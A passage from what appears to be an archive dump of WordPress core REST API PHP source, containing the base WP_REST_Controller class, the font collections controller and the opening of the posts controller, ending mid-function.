				 * Target this attribute and value to find the metadata element.
				 *
				 * Allows for (a) no, single, double quotes and (b) whitespace in the value.
				 *
				 * Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				 * i.e \1, for the closing quotation mark?
				 * To ensure the closing quotation mark matches the opening one. Why? Attribute values
				 * can contain quotation marks, such as an apostrophe in the content.
				 */
				$attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' .

				/*
				 * These are the options:
				 * - i : case-insensitive
				 * - s : allows newline characters for the . match (needed for multiline elements)
				 * - U means non-greedy matching
				 */
				'#isU';

		// Find the metadata element.
		foreach ( $meta_elements[0] as $index => $element ) {
			preg_match( $pattern, $element, $match );

			// This is not the metadata element. Skip it.
			if ( empty( $match ) ) {
				continue;
			}

			/*
			 * Found the metadata element.
			 * Get the metadata from its matching content array.
			 */
			if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) {
				$metadata = trim( $meta_elements[2][ $index ] );
			}

			break;
		}

		return $metadata;
	}
}
endpoints/class-wp-rest-controller.php000066600000045176152442706000014166 0ustar00<?php
/**
 * REST API: WP_REST_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core base controller for managing and interacting with REST API items.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Controller {

	/**
	 * The namespace of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $namespace;

	/**
	 * The base of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Cached results of get_item_schema.
	 *
	 * @since 5.3.0
	 * @var array
	 */
	protected $schema;

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		_doing_it_wrong(
			'WP_REST_Controller::register_routes',
			/* translators: %s: register_routes() */
			sprintf( __( "Method '%s' must be overridden." ), __METHOD__ ),
			'4.7.0'
		);
	}

	/**
	 * Checks if a given request has access to get items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves a collection of items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to get a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to create items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Creates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to update a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Updates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to delete a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Deletes one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares one item for create or update operation.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares a response for insertion into a collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @return array|mixed Response data, ready for insertion into collection data.
	 */
	public function prepare_response_for_collection( $response ) {
		if ( ! ( $response instanceof WP_REST_Response ) ) {
			return $response;
		}

		$data   = (array) $response->get_data();
		$server = rest_get_server();
		$links  = $server::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			$data['_links'] = $links;
		}

		return $data;
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $response_data Response data to filter.
	 * @param string $context       Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $response_data, $context ) {

		$schema = $this->get_item_schema();

		return rest_filter_response_by_context( $response_data, $schema, $context );
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return $this->add_additional_fields_schema( array() );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 4.7.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties'] ) ) {
			foreach ( $schema['properties'] as &$property ) {
				unset( $property['arg_options'] );
			}
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context'  => $this->get_context_param(),
			'page'     => array(
				'description'       => __( 'Current page of the collection.' ),
				'type'              => 'integer',
				'default'           => 1,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
				'minimum'           => 1,
			),
			'per_page' => array(
				'description'       => __( 'Maximum number of items to be returned in result set.' ),
				'type'              => 'integer',
				'default'           => 10,
				'minimum'           => 1,
				'maximum'           => 100,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
			),
			'search'   => array(
				'description'       => __( 'Limit results to those matching a string.' ),
				'type'              => 'string',
				'sanitize_callback' => 'sanitize_text_field',
				'validate_callback' => 'rest_validate_request_arg',
			),
		);
	}

	/**
	 * Retrieves the magical context param.
	 *
	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
	 * @return array Context parameter details.
	 */
	public function get_context_param( $args = array() ) {
		$param_details = array(
			'description'       => __( 'Scope under which the request is made; determines fields present in response.' ),
			'type'              => 'string',
			'sanitize_callback' => 'sanitize_key',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$schema = $this->get_item_schema();

		if ( empty( $schema['properties'] ) ) {
			return array_merge( $param_details, $args );
		}

		$contexts = array();

		foreach ( $schema['properties'] as $attributes ) {
			if ( ! empty( $attributes['context'] ) ) {
				$contexts = array_merge( $contexts, $attributes['context'] );
			}
		}

		if ( ! empty( $contexts ) ) {
			$param_details['enum'] = array_unique( $contexts );
			rsort( $param_details['enum'] );
		}

		return array_merge( $param_details, $args );
	}

	/**
	 * Adds the values from additional fields to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $response_data Prepared response array.
	 * @param WP_REST_Request $request       Full details about the request.
	 * @return array Modified data object with additional fields.
	 */
	protected function add_additional_fields_to_object( $response_data, $request ) {

		$additional_fields = $this->get_additional_fields();

		$requested_fields = $this->get_fields_for_response( $request );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['get_callback'] ) {
				continue;
			}

			if ( ! rest_is_field_included( $field_name, $requested_fields ) ) {
				continue;
			}

			$response_data[ $field_name ] = call_user_func(
				$field_options['get_callback'],
				$response_data,
				$field_name,
				$request,
				$this->get_object_type()
			);
		}

		return $response_data;
	}

	/**
	 * Updates the values of additional fields added to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param object          $data_object Data model like WP_Term or WP_Post.
	 * @param WP_REST_Request $request     Full details about the request.
	 * @return true|WP_Error True on success, WP_Error object if a field cannot be updated.
	 */
	protected function update_additional_fields_for_object( $data_object, $request ) {
		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['update_callback'] ) {
				continue;
			}

			// Don't run the update callbacks if the data wasn't passed in the request.
			if ( ! isset( $request[ $field_name ] ) ) {
				continue;
			}

			$result = call_user_func(
				$field_options['update_callback'],
				$request[ $field_name ],
				$data_object,
				$field_name,
				$request,
				$this->get_object_type()
			);

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return true;
	}

	/**
	 * Adds the schema from additional fields to a schema array.
	 *
	 * The type of object is inferred from the passed schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $schema Schema array.
	 * @return array Modified Schema array.
	 */
	protected function add_additional_fields_schema( $schema ) {
		if ( empty( $schema['title'] ) ) {
			return $schema;
		}

		// Can't use $this->get_object_type otherwise we cause an inf loop.
		$object_type = $schema['title'];

		$additional_fields = $this->get_additional_fields( $object_type );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['schema'] ) {
				continue;
			}

			$schema['properties'][ $field_name ] = $field_options['schema'];
		}

		return $schema;
	}

	/**
	 * Retrieves all of the registered additional fields for a given object-type.
	 *
	 * @since 4.7.0
	 *
	 * @global array $wp_rest_additional_fields Holds registered fields, organized by object type.
	 *
	 * @param string $object_type Optional. The object type.
	 * @return array Registered additional fields (if any), empty array if none or if the object type
	 *               could not be inferred.
	 */
	protected function get_additional_fields( $object_type = null ) {
		global $wp_rest_additional_fields;

		if ( ! $object_type ) {
			$object_type = $this->get_object_type();
		}

		if ( ! $object_type ) {
			return array();
		}

		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
			return array();
		}

		return $wp_rest_additional_fields[ $object_type ];
	}

	/**
	 * Retrieves the object type this controller is responsible for managing.
	 *
	 * @since 4.7.0
	 *
	 * @return string Object type for the controller.
	 */
	protected function get_object_type() {
		$schema = $this->get_item_schema();

		if ( ! $schema || ! isset( $schema['title'] ) ) {
			return null;
		}

		return $schema['title'];
	}

	/**
	 * Gets an array of fields to be included on the response.
	 *
	 * Included fields are based on item schema and `_fields=` request argument.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return string[] Fields to be included in the response.
	 */
	public function get_fields_for_response( $request ) {
		$schema     = $this->get_item_schema();
		$properties = isset( $schema['properties'] ) ? $schema['properties'] : array();

		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			/*
			 * For back-compat, include any field with an empty schema
			 * because it won't be present in $this->get_item_schema().
			 */
			if ( is_null( $field_options['schema'] ) ) {
				$properties[ $field_name ] = $field_options;
			}
		}

		// Exclude fields that specify a different context than the request context.
		$context = $request['context'];
		if ( $context ) {
			foreach ( $properties as $name => $options ) {
				if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) {
					unset( $properties[ $name ] );
				}
			}
		}

		$fields = array_keys( $properties );

		/*
		 * '_links' and '_embedded' are not typically part of the item schema,
		 * but they can be specified in '_fields', so they are added here as a
		 * convenience for checking with rest_is_field_included().
		 */
		$fields[] = '_links';
		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		$fields = array_unique( $fields );

		if ( ! isset( $request['_fields'] ) ) {
			return $fields;
		}
		$requested_fields = wp_parse_list( $request['_fields'] );
		if ( 0 === count( $requested_fields ) ) {
			return $fields;
		}
		// Trim off outside whitespace from the comma delimited list.
		$requested_fields = array_map( 'trim', $requested_fields );
		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
		if ( in_array( 'id', $fields, true ) ) {
			$requested_fields[] = 'id';
		}
		// Return the list of all requested fields which appear in the schema.
		return array_reduce(
			$requested_fields,
			static function ( $response_fields, $field ) use ( $fields ) {
				if ( in_array( $field, $fields, true ) ) {
					$response_fields[] = $field;
					return $response_fields;
				}
				// Check for nested fields if $field is not a direct match.
				$nested_fields = explode( '.', $field );
				/*
				 * A nested field is included so long as its top-level property
				 * is present in the schema.
				 */
				if ( in_array( $nested_fields[0], $fields, true ) ) {
					$response_fields[] = $field;
				}
				return $response_fields;
			},
			array()
		);
	}

	/**
	 * Retrieves an array of endpoint arguments from the item schema for the controller.
	 *
	 * @since 4.7.0
	 *
	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
	 *                       checked for required values and may fall-back to a given default, this is not done
	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
	 * @return array Endpoint arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method );
	}

	/**
	 * Sanitizes the slug value.
	 *
	 * {@internal We can't use sanitize_title() directly, as the second
	 * parameter is the fallback title, which would end up being set to the
	 * request object.}
	 *
	 * @since 4.7.0
	 *
	 * @see https://github.com/WP-API/WP-API/issues/1585
	 *
	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
	 *
	 * @param string $slug Slug value passed in request.
	 * @return string Sanitized value for the slug.
	 */
	public function sanitize_slug( $slug ) {
		return sanitize_title( $slug );
	}
}
endpoints/class-wp-rest-font-collections-controller.php000066600000024740152442706000017440 0ustar00<?php
/**
 * Rest Font Collections Controller.
 *
 * This file contains the class for the REST API Font Collections Controller.
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.5.0
 */

/**
 * Font Library Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Collections_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 6.5.0
	 */
	public function __construct() {
		$this->rest_base = 'font-collections';
		$this->namespace = 'wp/v2';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),

				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<slug>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the font collections available.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$collections_all = WP_Font_Library::get_instance()->get_font_collections();

		$page        = $request['page'];
		$per_page    = $request['per_page'];
		$total_items = count( $collections_all );
		$max_pages   = (int) ceil( $total_items / $per_page );

		if ( $page > $max_pages && $total_items > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page );

		$is_head_request = $request->is_method( 'HEAD' );

		$items = array();
		foreach ( $collections_page as $collection ) {
			$item = $this->prepare_item_for_response( $collection, $request );

			// If there's an error loading a collection, skip it and continue loading valid collections.
			if ( is_wp_error( $item ) ) {
				continue;
			}

			/*
			 * Skip preparing the response body for HEAD requests.
			 * Cannot exit earlier due to backward compatibility reasons,
			 * as validation occurs in the prepare_item_for_response method.
			 */
			if ( $is_head_request ) {
				continue;
			}

			$item    = $this->prepare_response_for_collection( $item );
			$items[] = $item;
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items );

		$response->header( 'X-WP-Total', (int) $total_items );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( $this->namespace . '/' . $this->rest_base );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets a font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$slug       = $request->get_param( 'slug' );
		$collection = WP_Font_Library::get_instance()->get_font_collection( $slug );

		if ( ! $collection ) {
			return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $collection, $request );
	}

	/**
	* Prepare a single collection output for response.
	*
	* @since 6.5.0
	*
	* @param WP_Font_Collection $item    Font collection object.
	* @param WP_REST_Request    $request Request object.
	* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	*/
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $item->slug;
		}

		// If any data fields are requested, get the collection data.
		$data_fields = array( 'name', 'description', 'font_families', 'categories' );
		if ( ! empty( array_intersect( $fields, $data_fields ) ) ) {
			$collection_data = $item->get_data();
			if ( is_wp_error( $collection_data ) ) {
				$collection_data->add_data( array( 'status' => 500 ) );
				return $collection_data;
			}

			/**
			 * Don't prepare the response body for HEAD requests.
			 * Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
			 */
			if ( $request->is_method( 'HEAD' ) ) {
				/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
				return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
			}

			foreach ( $data_fields as $field ) {
				if ( rest_is_field_included( $field, $fields ) ) {
					$data[ $field ] = $collection_data[ $field ];
				}
			}
		}

		/**
		 * Don't prepare the response body for HEAD requests.
		 * Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
		 */
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
			return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
		}

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters the font collection data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response   $response The response object.
		 * @param WP_Font_Collection $item     The font collection object.
		 * @param WP_REST_Request    $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_font_collection', $response, $item, $request );
	}

	/**
	 * Retrieves the font collection's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'font-collection',
			'type'       => 'object',
			'properties' => array(
				'slug'          => array(
					'description' => __( 'Unique identifier for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'The name for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'   => array(
					'description' => __( 'The description for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_families' => array(
					'description' => __( 'The font families for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'    => array(
					'description' => __( 'The categories for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Font_Collection $collection Font collection data
	 * @return array Links for the given font collection.
	 */
	protected function prepare_links( $collection ) {
		return array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);
	}

	/**
	 * Retrieves the search params for the font collections.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the font collections controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_font_collections_collection_params', $query_params );
	}

	/**
	 * Checks whether the user has permissions to use the Fonts Collections.
	 *
	 * @since 6.5.0
	 *
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read',
			__( 'Sorry, you are not allowed to access font collections.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}
}
endpoints/class-wp-rest-posts-controller.php000066600000310063152442706000015322 0ustar00<?php
/**
 * REST API: WP_REST_Posts_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Posts_Controller extends WP_REST_Controller {
	/**
	 * Post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Instance of a post meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Passwordless post access permitted.
	 *
	 * @since 5.7.1
	 * @var int[]
	 */
	protected $password_check_passed = array();

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
	}

	/**
	 * Registers the routes for posts.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		$schema        = $this->get_item_schema();
		$get_item_args = array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
		if ( isset( $schema['properties']['excerpt'] ) ) {
			$get_item_args['excerpt_length'] = array(
				'description' => __( 'Override the default excerpt length.' ),
				'type'        => 'integer',
			);
		}
		if ( isset( $schema['properties']['password'] ) ) {
			$get_item_args['password'] = array(
				'description' => __( 'The password for the post if it is password protected.' ),
				'type'        => 'string',
			);
		}
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the post.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $get_item_args,
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Overrides the result of the post password check for REST requested posts.
	 *
	 * Allow users to read the content of password protected posts if they have
	 * previously passed a permission check or if they have the `edit_post` capability
	 * for the post being checked.
	 *
	 * @since 5.7.1
	 *
	 * @param bool    $required Whether the post requires a password check.
	 * @param WP_Post $post     The post been password checked.
	 * @return bool Result of password check taking into account REST API considerations.
	 */
	public function check_password_required( $required, $post ) {
		if ( ! $required ) {
			return $required;
		}

		$post = get_post( $post );

